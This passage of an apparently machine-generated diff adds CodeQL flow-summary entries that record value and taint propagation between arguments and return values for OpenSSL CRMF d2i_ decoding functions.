"(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", 